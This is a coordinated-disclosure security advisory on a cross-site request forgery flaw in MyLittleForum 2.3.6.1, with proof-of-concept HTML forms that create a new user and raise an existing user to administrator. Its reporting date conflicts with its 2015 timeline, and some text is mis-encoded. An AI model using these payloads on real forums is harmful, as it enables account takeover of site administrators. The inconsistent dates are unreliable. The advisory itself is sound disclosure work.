Security Advisory - Curesec Research Team
1. Introduction
Affected Product: MyLittleForum 2.3.6.1
Fixed in: 2.3.7beta
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/
v2.3.7beta
Vendor Website: http://mylittleforum.net/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is
vulnerable to cross site request forgery. An attacker could exploit this issue
to add new users or change the status of existing users to administrator if a
victim visits a website containing a specifically crafted payload while logged
into MyLittleForum.
3. Details
CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description: There is no CSRF protection, allowing an attacker to perform
actions for a victim if the victim visits an attacker controlled website while
logged in.
Proof of Concept:
Add New User: <html> <body> <form action="http://localhost/
mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name=
"mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2"
/> <input type="hidden" name="ar_email" value="admin2@example.com" /> <input
type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name=
"ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value
="i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </
html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode"
value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input
type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name=
"edit_user_type" value="2" /> <input type="hidden" name="user_email" value=
"foo@example.com" /> <input type="hidden" name="user_hp" value="" /> <input
type="hidden" name="user_real_name" value="" /> <input type="hidden" name=
"user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location"
value="" /> <input type="hidden" name="profile" value="" /> <input type=
"hidden" name="signature" value="" /> <input type="hidden" name="user_language"
value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type=
"hidden" name="user_time_difference" value="0" /> <input type="hidden" name=
"edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit
request" /> </form> </body> </html>
4. Solution
To mitigate this issue please upgrade at least to version 2.3.7beta:
https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta
Please note that a newer version might already be available.
5. Report Timeline
09/05/2015 Informed Vendor about Issue (no reply)
09/15/2015 Reminded Vendor of Disclosure Date
09/15/2015 Vendor replies
10/04/2015 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/MyLittleForum-2361-CSRF-176.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany